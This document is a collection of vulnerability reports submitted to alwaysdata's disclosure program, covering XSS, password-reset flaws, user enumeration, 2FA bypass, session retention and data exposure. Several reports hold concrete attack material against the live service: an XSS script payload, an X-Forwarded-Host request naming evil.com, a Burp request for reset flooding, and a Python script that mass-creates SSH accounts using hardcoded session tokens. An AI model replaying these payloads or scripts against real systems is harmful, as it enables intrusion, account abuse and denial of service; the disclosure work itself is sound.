Security vulnerabilities

XSS Vulnerability in [admin.alwaysdata.com] Support Ticket System

Vulnerability Report
Greeting: Dear Team

I'm writing to report a critical Reflected Cross-Site Scripting (XSS) vulnerability discovered in your [admin.alwaysdata.com] application. This vulnerability allows attackers to inject malicious JavaScript into the application, potentially compromising user accounts and sensitive data.

PoC: By sending a specially crafted request containing the payload redhet"'><script>prompt(document.domain)</script> through the add_participants parameter in the support ticket creation form, we can trigger the XSS vulnerability and execute arbitrary JavaScript in the victim's browser.

Summary:

A reflected XSS vulnerability has been identified in the "add_participants" parameter of the support ticket creation form on admin.alwaysdata.com. This vulnerability allows attackers to inject malicious JavaScript code that will be executed in the victim's browser when they view a vulnerable page.

Vulnerability Details:

Type: Reflected XSS (OWASP A4)

Exploit: Injecting malicious JavaScript through a vulnerable request parameter

Vulnerable URL: https://admin.alwaysdata.com/support/add/

Vulnerable Request: POST /support/add/

Vulnerable Endpoints: The add_participants parameter in the support ticket creation form

Payload: redhet"'><script>prompt(document.domain)</script>

This parameter is used to add participants to a support ticket, but it is not properly sanitized, allowing attackers to inject arbitrary code that will be executed in the browser of any user who views the vulnerable ticket.

## Impact Assessment

1. Impact one: Information Disclosure: The attacker can steal sensitive user information, such as cookies or session IDs, by executing malicious JavaScript within the victim's browser.

2. Impact two: Account Takeover: The attacker could potentially hijack user accounts by tricking them into executing malicious code that grants unauthorized access.

3. Impact three: Defacement: The attacker could manipulate the content displayed on the application by injecting malicious JavaScript that alters the user interface.

## Recommendations

1. Step one: Immediately sanitize all user input: Implement strict input validation and sanitization procedures to prevent the injection of malicious code. This includes escaping special characters and enforcing a Content Security Policy (CSP).

2. Step Two: Patch vulnerable software: Update all relevant software to the latest versions to address known vulnerabilities.

3. Step three: Consider additional security measures: Implement a web application firewall (WAF) to further protect against XSS attacks.

4. Step four:Regularly scan for vulnerabilities: Conduct regular penetration testing and vulnerability scans to identify and address potential security issues.

Impact:

Execution of arbitrary JavaScript code in the victim's browser
Potential for session hijacking, credential theft, or other attacks

## Steps to Reproduce

1. Step one: Access the support ticket creation form at https://admin.alwaysdata.com/support/add/

2. Step two: Enter the following payload in the "add_participants" field: redhet"'><script>prompt(document.domain)</script>

3. Step three: Submit the form.

4. Final step: Observe that the JavaScript code is executed, displaying a prompt with the domain name. (cookies)

Attachments
PoC Video: [Link to video demonstrating the vulnerability]**

## References

[OWASP XSS Prevention Cheat Sheet]: (https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

[OWASP XSS Testing Guide]: (https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting)

I hope you will give me a good answer!!

If you have any questions, feel free to ask them ;)

Thank You,

Regards,
Redhet

I am writing to report a security vulnerability that I discovered on the Alwaysdata.com platform regarding unverified email registration. This vulnerability allows users to create new accounts without verifying their email addresses, posing a significant risk to the security and integrity of the platform and its users.

Below are the details of the vulnerability along with steps to reproduce, its impact, severity, and proposed solution:

Vulnerability Details:

Vulnerability Type: Unverified Email Registration
Website: https://www.alwaysdata.com/ Steps to Reproduce:

Visit the Alwaysdata.com website.
Navigate to the account registration page.
Enter any email address (valid or invalid) without going through email verification.
Complete the registration process without receiving or verifying any email confirmation.
Impact:

Account Takeover: Malicious actors can create accounts using others' email addresses and gain unauthorized access to their accounts or personal information.
Spam and Abuse: Unverified accounts can be used to send spam, phishing emails, or engage in other abusive activities on the platform.
Impersonation: Attackers can impersonate legitimate users or organizations by creating accounts with their email addresses.

Proposed Solution:
To mitigate this vulnerability, I recommend implementing email verification as a mandatory step during the registration process. This would involve sending a verification email with a unique code or link that users must confirm before their accounts are activated.

Additionally, consider implementing rate limiting or other measures to prevent abuse of the registration process and ensure that users' accounts and data are protected from unauthorized access and misuse.

I believe that addressing this vulnerability promptly will help enhance the security and trustworthiness of the Alwaysdata.com platform and protect its users from potential harm.

Please let me know if you require any further information or assistance in resolving this issue. I am committed to assisting you in any way possible to ensure the security of the platform and its users.

Thank you for your attention to this matter, and I look forward to your prompt response.

Hello Alwaysdata Security Team,

I hope this message finds you well.

I am reaching out as part of your Vulnerability Disclosure Program to report a potential security issue I found, titled "Lack of Rate Limiting on Password Reset Page".
===
Vulnerability Details:===

The password reset page (https://admin.alwaysdata.com/password/lost/) currently does not have rate limiting enabled, which allows repeated attempts without any restrictions.i send the request to Intruder and set my email and set payload around 80 times and the server give me the 80 linkes on my eamil (forgot password emial link)

Impact:

Recommendation:

The website does not implement rate limiting on password reset links, allowing an attacker to repeatedly request password reset links for any account. This could lead to account takeover through brute-force attacks.

Description When an attacker gains access to a target account's email address, they can repeatedly request password reset links without any rate limiting in place. This allows them to flood the target's email inbox with reset links, making it difficult for the legitimate user to identify and use the valid reset link. Additionally, the attacker can automate this process, increasing the efficiency of the attack.

Impact Account Takeover: Attackers can potentially take over user accounts by flooding their email inbox with reset links, making it easier to intercept a valid reset link and gain unauthorized access.
User Disruption: The flood of reset links can disrupt the user's ability to use their email normally, causing inconvenience and potential confusion.

Recommendations Implement rate limiting on password reset requests to prevent brute-force attacks.
Limit the number of password reset links that can be requested per minute per IP address or account.
Implement CAPTCHA or other mechanisms to distinguish between automated and legitimate requests.

Steps to Reproduce 1- Go To This Link https://admin.alwaysdata.com/login/ Enter your Email Click On Forget Password
2- intercept burp and send request to intruder
3- make payload and start attack

Supporting Material/References

OWASP Password Reset Best Practices

Impact Account Takeover
User Disruption

Proof of Concept N/A (Describe how you were able to successfully exploit the vulnerability.)

Remediation
Implement rate limiting on password reset requests to prevent brute-force attacks. Limit the number of password reset links that can be requested per minute per IP address or account. Implement CAPTCHA or other mechanisms to distinguish between automated and legitimate requests.

Supporting Material/References
OWASP Password Reset Best Practices

Impact Account Takeover
User Disruption

Proof of Concept SS ATTACHED REQUEST** (BY USING BRUP SUITE)

POST /password/lost/ HTTP/2
Host: admin.alwaysdata.com
Cookie: REACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://admin.alwaysdata.com/password/lost/ Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Origin: https://admin.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrfmiddlewaretoken=8GNhIyHjyRaBHSlBRaaN9gMWKaksiJR3Py8S3TJoW8zb7tq5gU4JzRA1cMEp0VHl&email=alexdoppler29%40gmail.com

SS LINK - https://drive.google.com/file/d/1a0vqAOB6u6ayQSNX4ktQuUOWIAgNQjAR/view?usp=sharing

A vulnerability was identified on the alwaysdata account password reset feature that allows previously generated password reset links to remain functional even after a new reset link has been requested. This flaw can potentially allow unauthorized users to exploit old links and reset passwords, even when a user has already generated a new password reset link.

Steps to Reproduce:
1.Go to the password reset page: https://admin.alwaysdata.com/password/lost/ 2.Request a password reset link by entering your email at 10:00 AM.
3.Copy and save the password reset link received in the email (without using it).
4.At 10:05 AM, request a new password reset link by entering the same email.
5.Use the most recent password reset link received at 10:05 AM to reset your password.
6.Now, attempt to use the first password reset link received at 10:00 AM to reset the password again.
7.Observe that the first password reset link (from 10:00 AM) is still valid and allows you to reset the password, even though a new link was generated at 10:05 AM.

Impact
This vulnerability enables an attacker or malicious user to exploit old, still-active password reset links, even after a new reset link has been generated. This could potentially lead to account compromise and unauthorized access, posing a significant security risk to user accounts.

Recommendation:
Invalidate Old Password Reset Links: Ensure that when a new password reset link is generated, all previously issued links are immediately invalidated.
Token Management: Implement a more secure token management system where each password reset token is tracked, and all previous tokens are invalidated once a new token is generated. Only the latest reset token should be valid at any given time.

there is ability to enumerate email address of users through
admin.alwaysdata.com/password/lost/
if i enter a registered email it will display that email has sent
but if the mail in snot registered it will say
The form contains some errors.
Email address of your account : There is no account with this email address.
so we can brute force using list of emails and get some regestered mails
there is rate limit but it's very poor as waiting 20 seconds after 7 or 8 requests will be ok and not banned with 429 response

suggested solution to say that : email is sent if this email has an account
as in here admin.alwaysdata.com/login/
if email or password are wrong it says credentials are incorrect not say email is incorrect as here emails can be enumerated

Reported by: Vikash Gupta
Severity Level: Critical
Status: Pending Review
Priority: High
Overview

A Personal Identifiable Information (PII) exposure vulnerability allows unauthorized access to sensitive user data, including names, email addresses, phone numbers, and other personal details. This flaw puts user privacy at risk and may lead to identity theft, phishing attacks, and legal compliance violations.
Vulnerability Details

  Feature Affected: User Data Storage & Retrieval
  Vulnerability Type: PII Information Disclosure
  Description:
      Due to misconfigured access controls, insecure API responses, or improper data exposure, sensitive user data is accessible to unauthorized users.
      Attackers can extract PII from API endpoints, public web pages, or logs without authentication.
      The leaked information may include full names, email addresses, phone numbers, addresses, or other personally identifiable data.

Step to reproduced :-
Dear alwaysdata.com Team

Sir I'm Vikash Gupta & I'm Security Researcher. I found { User PII Information Leaked } Vulnerability in Your Website.

Vulnerable URL :- https://security.alwaysdata.com/task/137

STEP TO REPRODUCED :-

1- Go to Vulnerable Url :- https://security.alwaysdata.com/task/137 2- Scroll Down & You see {User Paypal ID is Leaked in Report}
3- Fix It Immediately.

BOOOOM! I hope You fixed this issue quickly.

Impact Assessment

  Security Risks:
      Identity Theft: Exposed PII can be used for fraudulent activities.
      Phishing & Social Engineering Attacks: Attackers can craft targeted scams using leaked data.
      Financial Risks: Exposed financial details can lead to fraud or unauthorized transactions.

  Business & Compliance Risks:
      Violation of Data Protection Laws: Non-compliance with GDPR, CCPA, and other data privacy regulations may lead to legal actions.
      Loss of User Trust: Users may lose confidence in the platform’s security.
      Reputation Damage: Public exposure of this issue can harm the company’s brand and credibility.

Proposed Solution

  Implement Proper Access Controls:
      Restrict access to PII data using role-based access control (RBAC).
      Ensure only authorized users can access sensitive information.

  Secure API & Web Responses:
      Remove PII exposure in API responses unless explicitly required.
      Mask or encrypt sensitive data in logs and responses.

  Regular Security Audits & Compliance Checks:
      Conduct frequent security assessments to detect and fix data leaks.
      Ensure compliance with data protection laws and industry security standards.

Conclusion

This PII data exposure vulnerability poses a critical security risk, allowing attackers to steal personal user information. Implementing access controls, API security measures, and regular audits is necessary to protect user privacy and prevent legal risks.

Reported by: Vikash Gupta

The application's "Forgot Password" feature allows user enumeration. This is because the application responds with a different message depending on whether the submitted email address is registered or not.
(https://admin.alwaysdata.com/password/lost/)

steps to Reproduce:

Access the "Forgot Password" page.
Enter a random, non-registered email address.
Submit the request.
Observe the response message:

  the message states "There is no account with this email address," which means that user enumeration is possible.
 An attacker could exploit this vulnerability to:

Gather a list of valid user email addresses.
Launch targeted phishing attacks.
Use the information to attempt password guessing or brute force attacks

Remediation:
Implement Generic Response: The application should provide the same response message regardless of whether the email address is registered or not. This prevents attackers from differentiating between valid and invalid accounts.

Additional Notes:

i am aware that this bug is not eligible for a bounty but wanted to bring it to the team's attention.

Best Wishes -Basil

Improper access control on adding (admin@alwaysdata.com) email in profile setting to take this email.

Hello Sir,

I hope your are doing well. I found a flow in https://admin.alwaysdata.com/ to add banned email to their profile setting to takeover the email.

Steps:

1. Go to https://www.alwaysdata.com/en/register/ 2. Input admin@alwaysdata.com in email and then input password whatever you want.
3. Click Create Profile then its show's (Email address : This email has been banned).
4. Create a Profile with your own email something@mail.com. 5. Then go to https://admin.alwaysdata.com/admin/details/ and then input email which is admin@alwaysdata.com. 6. Then input your old password and click submit you can takeover this email which is banned for making profile.

Impact
An attacker can add this email to their account make some stuff for your business loss.

Thank You,

Waleed Anwar

Description

I discovered a potential vulnerability in api.alwaysdata.com that could allow an attacker to override URLs by manipulating the X-Forwarded-Host header. This issue could potentially lead to unintended redirections or access to restricted resources.

Proof-of-Concept

To demonstrate this vulnerability, we can use a simple HTTP request with a modified X-Forwarded-Host header. Replay the following request;

GET /v1/ssh/doc/ HTTP/1.1
Host: api.alwaysdata.com
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Cache-Control: max-age=0
X-Forwarded-Host: evil.com
Cookie: flyspray=ef2b9025azb8fd028bf6
Referer: https://api.alwaysdata.com/doc

Mitigation

Blocking or filtering out the X-Forwarded-Host header entirely and relying on other methods to determine the original domain (e.g., using the Host header or server logs).

unverified password change in [admin.alwaysdata.com]

Hello team!

I have found an interesting flaw where an attacker can change the account password without knowing the old password

When the user requests a password reset link, it accesses the activity log inside the account and this bug can be exploited by an attacker

Steps to reproduce the bug :

1-Create a new account on [admin.alwaysdata.com]
2-log in to your account
3-request the password reset link from another browser
4-you will notice that the password reset link you requested has arrived in the activity log

Impact :
If the attacker hijacks the session or gains access to the user account, he can request a password reset link and the link will reach him in the Account Activity Log, from which he can reset the account password without knowing the old password

Unveiling an IDOR Vulnerability in Email Verification Workflows:

Hello Team, I hope you are doing well. Well, i found a idor vuln in email verification workflow in your doamin.

The Vulnerability
1. Step 1: Create an Account with a Fake Email (Email 1)
Like many web services, the platform I was testing does not required users to verify their email addresses upon registration. I created an account using a random, unverified email address, let’s call it email1@example.com.

2. Step 2: Change the Email Address to a New One (Email 2)
Next, I went to the account settings and attempted to change the email address to a new one, email2@example.com, without verifying email1@example.com. The system allowed me to enter a new email.

3. Step 3: IDOR Exploitation
Here’s where things got interesting. I can use email2@example.com without any verification or any notification which was not sent to that email2@example.com for verification. But due to an IDOR vulnerability, the system skipped this step entirely and automatically considered email2@example.com as verified

This meant that I, as an attacker, could verify someone else’s email (Email 2) that I had no control over, effectively gaining control of that account’s new email without ever needing access to it.

The Impact
This IDOR vulnerability presents significant risks, including:

Account Takeover: By exploiting this flaw, an attacker can hijack accounts by swapping the victim’s email with one of their own.
Phishing and Fraud: Attackers could use the new email to perform phishing attacks, tricking users into divulging sensitive information.
Loss of Control: Users might lose control over their accounts since the new email is verified without their knowledge or consent.
Root Cause
The root cause of this vulnerability lies in the system’s failure to validate the ownership of the new email address before considering it verified. Once the first email is verified, the system should force a re-verification of any newly entered email addresses to prevent this kind of exploitation.

How to Prevent It
Here are a few recommendations to mitigate this type of IDOR vulnerability:

Re-verify New Emails: Ensure that when users attempt to change their email addresses, the new email must be verified before it becomes active.
Strict Access Control: Always implement strong access controls to ensure that a user cannot modify objects (in this case, email IDs) they do not own.
Thorough Input Validation: Validate user inputs and ensure proper checks for email ownership before performing any sensitive actions.
Security Audits: Regularly conduct security audits and penetration testing to identify potential IDOR vulnerabilities and other security flaws.

Thank You,

Waleed Anwar

Summary:
A critical security vulnerability was identified in the file upload on the application. The flaw allows users to upload any file type, including executable files like .pdf, .php, and .exe, with invited members. This presents a significant risk, as malicious files could be uploaded and distributed, leading to potential exploitation and compromise of other systems.

Vulnerable url: https://admin.alwaysdata.com/support/add/

# Unlimited SSH Server Creation Vulnerability on AlwaysData

## Summary
There is no limit on the number of SSH servers that can be created by a user on the AlwaysData platform. This vulnerability allows for unauthorized resource exhaustion, which could lead to service degradation or denial of service (DoS).

## Steps to Reproduce

1. Log in to your AlwaysData account.
2. Navigate to the SSH server creation page: `https://admin.alwaysdata.com/ssh/add/`.
3. Submit the form to create a new SSH server using a valid name and password.
4. Repeat the above step multiple times with different names like `jhoneone_1002`, `jhoneone_1003`, etc.
5. Observe that there is no limit imposed on the number of SSH servers that can be created, leading to potential resource exhaustion.

## Impact
- Resource Exhaustion: An attacker can create an unlimited number of SSH servers, potentially exhausting the resources allocated to other users on the platform.
- Denial of Service: Continuous server creation could degrade the platform's performance or lead to a denial of service.

## Recommendations
- Implement Limits: Set a reasonable limit on the number of SSH servers that can be created per user.
- Monitor for abnormal SSH server creation patterns and implement rate limiting to prevent abuse.

## Python Script to Exploit the Vulnerability

```python
import requests

# Configuration
url = "https://admin.alwaysdata.com/ssh/add/"
headers = {

  "Host": "admin.alwaysdata.com",
  "Cookie": "csrftoken=dnNRG2ExW88JR4GFKyeRRbD0JMV6E7IH; django_language=en; sessionid=q25k858xtrmg95b2t486xg7snokn99ls",
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
  "Accept-Language": "en-US,en;q=0.5",
  "Accept-Encoding": "gzip, deflate",
  "Referer": "https://admin.alwaysdata.com/ssh/add/",
  "Content-Type": "application/x-www-form-urlencoded",
  "Origin": "https://admin.alwaysdata.com",
  "Dnt": "1",
  "Upgrade-Insecure-Requests": "1",
  "Sec-Fetch-Dest": "document",
  "Sec-Fetch-Mode": "navigate",
  "Sec-Fetch-Site": "same-origin",
  "Sec-Fetch-User": "?1",
  "Te": "trailers"

}

# Function to create an SSH server
def create_ssh_server(session, csrf_token, username, password="AAAaaa123###"):

  data = {
      "csrfmiddlewaretoken": csrf_token,
      "name": username,
      "password": password,
      "home_directory": "",
      "shell": "BASH",
      "can_use_password": "on",
      "annotation": "",
      "submit": ""
  }
  response = session.post(url, headers=headers, data=data)
  return response.status_code, response.text

# Main script
if name == "main":

  with requests.Session() as session:
      # Replace the csrf_token below with your own token from your account
      csrf_token = "hpjP7TYZxZLeNcxhqG3fC6vZkwecJIc4kCWwDLsmjXJNu63M047Wj7YPT8Z8dFKB"
      
      for i in range(1002, 1100):  # Create multiple servers
          username = f"jhoneone_{i}"
          status_code, response_text = create_ssh_server(session, csrf_token, username)
          print(f"Status Code: {status_code}, Username: {username}")
          # Optionally, you can log the response_text for debugging purposes

Summary:
A vulnerability was discovered where a user who is not given permission on invite is still able to create a new organization, potentially leading to unauthorized access and data breaches.

Impact:

- Unauthorized access to sensitive information
- Potential data breaches
- Increased risk of account takeover

Expected Result:

- User without permission should not be able to create a new organization
- User should only be added to the organization with proper permission

Actual Result:

- User without permission is given a new organization on accepting invite
- User is added to the new organization with unnecessary permissions

Steps to Reproduce:

1. Invite a user without permission
2. Observe the user creating a new organization
3. Verify the user's unnecessary permissions in the new organization

Recommended Fix:
1. Implement permission checks to prevent unauthorized organization creation
2. Ensure users are only added to organizations with proper permission
3. Validate user permissions on each request to prevent abuse

Conclusion:

This vulnerability poses a critical risk to sensitive information and user accounts. Implementing proper permission checks and validation will prevent unauthorized access and ensure the security and integrity of user accounts.

*Vulnerability Summary: Unauthorized Account Takeover via Invitation Exploitation in [admin.alwaysdata.com] Vulnerability Description: A critical security vulnerability was identified in the account invitation process of [Service that allows the user to create a site]. This vulnerability allowed an unauthorized user to gain administrative control over another user's account through the invitation feature. Below is a detailed timeline of events leading to the account takeover: 1. Account Creation: - A user (referred to as User A) created an account on [Service that allows the user to create a site]. 2. Incorrect Invitation: - User A intended to invite a member to become an administrator but mistakenly sent the invitation to another user (User B). 3. Invitation Deletion: - Realizing the mistake, User A promptly deleted the invitation intended for User B. 4. Correct Invitation: - User A subsequently invited their colleague (referred to as User C) to become an administrator of their account. 5. Acceptance by Colleague: - User C accepted the invitation, assuming administrative rights as intended by User A. 6. Unauthorized Acceptance: - Meanwhile, User B, who received the initial invitation in error, noticed the invitation and, potentially unaware of the implications, accepted it. 7. Account Takeover:**

1. By accepting the invitation, User B gained administrative access to User A's account, effectively taking ownership of the account.

I've sent a proof of concept: [REDACTED]

Impact:
Account Takeover

I have identified a Credential Dump that allows unauthorized access to over 6000+ valid user credentials of Alwaysdata.com. This discovery was made in accordance with the Alwaysdata Bug Bounty Program guidelines. I am reporting this issue to ensure the security and privacy of Alwaysdata's users and to assist in prompt remediation.

Sensitive Data at Risk:

The data exposure includes, but is not limited to, vendor and client details, Personally Identifiable Information (PII), Social Security Numbers, medical and financial records, and crucial authentication credentials.

Impact

If exploited by a malicious actor, this vulnerability could lead to:

-Unauthorized access to user accounts.
-Potential compromise of sensitive personal and financial data.
-Secondary attacks using the obtained credentials (credential stuffing, phishing, etc.).
-Damage to the reputation and trustworthiness of the Alwaysdata platform.

Given the scale of the data exposure (6000+ user credentials), the impact is considered highly critical.

Steps to Reproduce :

To access and reproduce the findings related to the data leak, please follow this link: https://phonebook.cz/. It is important to note that an Academia account is required to view the full extent of the data dump. This platform was where I initially discovered the leak of valid credentials.

For your convenience,I've completed the data compilation myself and attached screenshots that capture key aspects of the data leak. Please find below,The attached document containing direct links to the accounts, along with their corresponding emails and passwords. This information was extracted through a manual process, and I've managed to identify at least 30 potential accounts, reviewing their Personally Identifiable Information (PII) among other data.These images should provide a clearer understanding of the issue and assist in verifying the vulnerability.

Proof of Concept
I have attached POC for your reference.I was only able to attach 5 files. If possible,kindly guide me so I can attach more POC's

Remediation Suggestions

To address this vulnerability, I suggest the following immediate and long-term remediation steps:
Revoking current exposed credentials and enforcing a password reset for affected users.
Implementing stricter access controls and regular security audits to prevent similar vulnerabilities.

Confidentiality Agreement

I understand the sensitive nature of this report and agree to keep the details confidential until Alwaysdata has resolved the issue and agreed to disclosure, as per the bug bounty program's guidelines.

I look forward to your prompt response and am willing to provide any further information required for the resolution of this issue.Though the leaked credentials might originate from another application or service,they are your Users and I believe,it is your call to protect the privacy and data of your users.I would greatly appreciate your team's consideration of rewarding this finding, even if it falls outside the typical scope of your program. Thank you for your commitment to security and the opportunity to contribute to the safety of the Alwaysdata platform.

Regards,
Bad_Script3r
Would really appreciate if you could revert on my Email (akhilsocials@gmail.com)
Thanks and Regards.

Good day Team,
This is Unauthorized Access to Admin Page via Exposed Credentials on GitHub

- admin.alwaysdata.com

Summary:
Sensitive credentials for an admin account were found exposed on a public GitHub repository. Using these credentials, an attacker can gain unauthorized access to the admin page of phpmyadmin.alwaysdata.com.

Description:
Credentials for an admin user were discovered using a Google dork on GitHub. The dork revealed an admin username and password that allowed access to the admin page of phpmyadmin.alwaysdata.com.

Steps to Reproduce:

1. Go to GitHub and use the search dork: "admin.alwaysdata.com" password.
2. Identify a public repository containing the admin username and password.
3. Navigate to https://phpmyadmin.alwaysdata.com/.
4. Use the discovered credentials to log in.
5. Observe that you have successfully logged in as an admin user.

Proof of Concept: https://drive.google.com/file/d/12dmKXf-6hwk-VZdozGl2FyvsbiVjDZA6/view?usp=sharing

Impact:
Unauthorized access to sensitive data and administrative functionalities.

Description: while Enumerating subdomains of Alwaysdata.com,
I Found a subdomain open hosting video conferencing for all.

Steps to reproduce: 1.visit the site :"https://jitsi.alwaysdata.com/"
2.create a video conferencing :"malicious.conferencing"
3.Now anyone can join the video call with the link provided by the attacker.

This could lead to potential damage to the Alwaysdata if the attacker intends to exploit this in a malicious way.
as this is open for any users on the web.

Impact: 1.Unauthorized Access:

Vulnerability: If the video conferencing system is not properly secured, it may be susceptible to unauthorized access.
Impact: Unauthorized individuals could join sensitive meetings, leading to the potential exposure of confidential information.

2.Phishing Attacks:
Vulnerability: Attackers may exploit the subdomain for phishing attacks, tricking users into providing sensitive information.
Impact: This could lead to the compromise of user credentials or the installation of malware on participants' devices.
3.Data Storage Security:

Vulnerability: Inadequate security measures for storing recorded video conference sessions.
Impact: Stored data may be at risk of unauthorized access, leading to the exposure of sensitive information.

POC:
https://drive.google.com/file/d/17NnRxFnzj7gZFsLXNEzt28b4jYjW7c-d/view?usp=sharing

Mitigation: To mitigate these risks, Alwaysdata should implement strong authentication, encrypt communication channels.

*Title: Unauthorized Email Sending Exploit in [alwaysdata.com] Summary: A vulnerability has been discovered in the site's email handling system. The site assigns each user a unique email address. However, it is possible to send an email from any email account, bypassing the intended email restrictions and validation mechanisms. Vulnerability Details: - Type: Email Spoofing
- Impact: Unauthorized email sending
- Affected Component: Email Handling System Description: The application generates a unique email address for each user. However, it is possible to exploit the system to send emails from any arbitrary email address. This issue arises due to insufficient validation of the email sender’s address. Proof of Concept: 1. Exploit Steps: - Use an email client or script to send an email through the application.
- Modify the "From" address to any arbitrary email address, not restricted to the user's assigned address. 2. Result: - The email is sent successfully. Follow the steps in the video: https://admin.alwaysdata.com/support/77431/376905-bandicam%202024-08-20%2003-19-32-375.mp4 Impact:**

This vulnerability allows an attacker to send emails appearing as if they are from any user.

*Title:* Two-Factor Authentication Bypass via Support Ticket Creation in [admin.alwaysdata.com]

*Summary:*
A critical security vulnerability has been identified in the [admin.alwaysdata.com]'s account management system where a user with administrative privileges but mandated to use two-factor authentication (2FA) can bypass this requirement by initiating a support ticket under the name of the primary account holder without triggering 2FA.

*Description:*
This vulnerability allows an added user, who is supposed to be restricted by 2FA, to perform actions appearing as the primary account holder by submitting support tickets. This circumvents the security protocol intended to protect sensitive account operations via 2FA, potentially leading to unauthorized actions without the account holder's consent or knowledge.

*Steps to Reproduce:*
1. Create two user accounts, Account A (primary) and Account B.
2. From Account A, add Account B as another user with full administrative privileges but enforce 2FA on actions.
3. Log into Account B.
4. Navigate to the support section and initiate a support ticket, selecting Account A as the affected account.
5. Submit the ticket without being prompted for 2FA verification.

I sent a proof of concept : https://admin.alwaysdata.com/support/77431/367474-VID-20240423-WA0000.mp4

*Impact:*
The primary account holder's security is compromised as the added user can perform sensitive operations under their guise without completing the necessary 2FA checks. This vulnerability may lead to unauthorized access and control over the primary account's sensitive functions and data.

Title: Two-Factor Authentication Bypass Issue in [admin.alwaysdata.com]

Summary: A vulnerability has been identified that allows an attacker to bypass Two-Factor Authentication (2FA) and manage applications on a user’s account. The attacker can create and delete applications on the account of the user who invited them.

Steps to Reproduce: 1. Create a new account.
2. Add a member to manage your account and activate Two-Factor Authentication (2FA) for that member.
3. Add an application to your account.
4. Log in to the account of the invited member.
5. Navigate to the following link: [https://admin.alwaysdata.com/site/application/script/].
6. Observe that you can create a new application and delete existing applications on the account of the original account holder.

POC: https://drive.google.com/file/d/1v5PbiZaZZK7l30XgdZx7025tsZnDOOf8/view?usp=drivesdk

Impact: Two-Factor Authentication Bypass

Vulnerability Type:

Session Management Issue

Email Account Takeover

User Data Exposure

Severity: P1 (Critical)

This vulnerability allows an attacker to retain a valid session even after a subdomain is deleted or transferred to another user, enabling them to:

Read all incoming emails of the new user.

Send emails on behalf of the new user.

Modify email settings, such as forwarding rules and signatures.

—

Description:

The Alwaysdata platform allows users to create subdomains under alwaysdata.net for hosting websites and managing emails via webmail.alwaysdata.com. However, a critical session management flaw enables an attacker to retain an active session even after deleting or transferring the subdomain to a new user.

—

Scenario 1: Subdomain Reuse

Steps to Reproduce:

1. The attacker creates a subdomain (e.g., attacker.alwaysdata.net).

2. The attacker logs into webmail.alwaysdata.com and keeps the session active.

3. The attacker deletes the subdomain from their account.

4. A new user registers the same subdomain (attacker.alwaysdata.net).

5. The new user logs into webmail.alwaysdata.com.

6. The attacker retains a valid session, allowing them to:

Read all incoming emails of the new user.

Send emails on behalf of the new user.

Modify email settings (forwarding, signature, etc.).

7. The new user may encounter session-related errors, such as:
"Server Error: CREATE: Internal error occurred. Refer to server log for more information."

—

Scenario 2: Subdomain Ownership Transfer

Steps to Reproduce:

1. The attacker creates a subdomain (e.g., attacker.alwaysdata.net).

2. The attacker logs into webmail.alwaysdata.com and keeps the session active.

3. Instead of deleting the subdomain, the attacker transfers ownership to another user via admin.alwaysdata.com.

4. The new user accepts the transfer and starts using the subdomain.

5. The attacker retains an active session, allowing them to:

Read and send emails on behalf of the new user.

Modify email settings.

Access the email account until the session expires.

6. Even if the new user changes their email password via admin.alwaysdata.com, the attacker still has access due to the active session.

—

Impact:

Sensitive Data Exposure: The attacker can read incoming emails.

Identity Theft: The attacker can send emails on behalf of the new user.

Account Compromise: The attacker can modify email settings to maintain access.

Mass Exploitation: The attacker can create and delete multiple subdomains to target many future users.

##POC: https://admin.alwaysdata.com/support/84903/

—

Recommended Fixes:

Terminate all active sessions immediately upon subdomain deletion or transfer.

Link sessions to the user account instead of just the subdomain.

Warn the new user if there was an existing open session for the same subdomain.

Enforce re-authentication when transferring subdomain ownership.

Add an additional verification layer for email-related sessions when ownership changes.

This vulnerability poses a severe risk to user privacy and requires an urgent fix to prevent unauthorized access to email accounts.

Title: Security Report: Public Exposure of Sensitive Information

Introduction:
The purpose of this report is to highlight a critical security issue involving the public exposure of sensitive information on the website security.alwaysdata.com. The exposed data includes details about supervisors, the number of reports they have sorted, and some reports that remain unprocessed and may contain sensitive information and unpatched vulnerabilities.

Exposure of Supervisor Information:
The website security.alwaysdata.com hosts a page that displays information about all users, including supervisors. The URL format for accessing supervisor information is https://security.alwaysdata.com/user/1. By manipulating the numeric value in the URL, it is evident that any user can access information about all users and supervisors on the site. This unrestricted access poses a significant security risk as it allows unauthorized individuals to view sensitive user data, potentially compromising the privacy and security of the users and the platform as a whole.

Unsecured Reports:
Furthermore, the website contains reports that are in an unprocessed state and have not been closed. These reports are accessible to the public through the URL format https://security.alwaysdata.com/task/23?dev=1. The presence of such reports in an open state poses a severe security threat as they may contain sensitive information that should not be shared with regular users. Additionally, these reports may reveal unpatched vulnerabilities in the platform, further increasing the risk of exploitation by malicious actors.

Recommendations:
1. Immediate Restriction of Access: It is imperative to implement access controls to restrict public access to supervisor information and unprocessed reports. Access should be limited to authorized personnel with appropriate privileges.

2. Review and Remediation: All unprocessed reports should be reviewed to identify and address any sensitive information or vulnerabilities they may contain. Once remediated, these reports should be appropriately secured and closed.

3. Security Awareness Training: Conduct security awareness training for all personnel involved in managing and maintaining the website. Emphasize the importance of safeguarding sensitive data and the potential consequences of data exposure.

4. Regular Security Audits: Implement regular security audits to identify and address any potential security loopholes, including unauthorized access to sensitive information and unsecured reports.

Conclusion:
The public exposure of supervisor information and unsecured reports on security.alwaysdata.com poses a significant security risk, potentially compromising user privacy and platform integrity. Immediate action is necessary to address these vulnerabilities and ensure the confidentiality and security of user data. Failure to mitigate these risks could lead to severe repercussions for the organization and its users.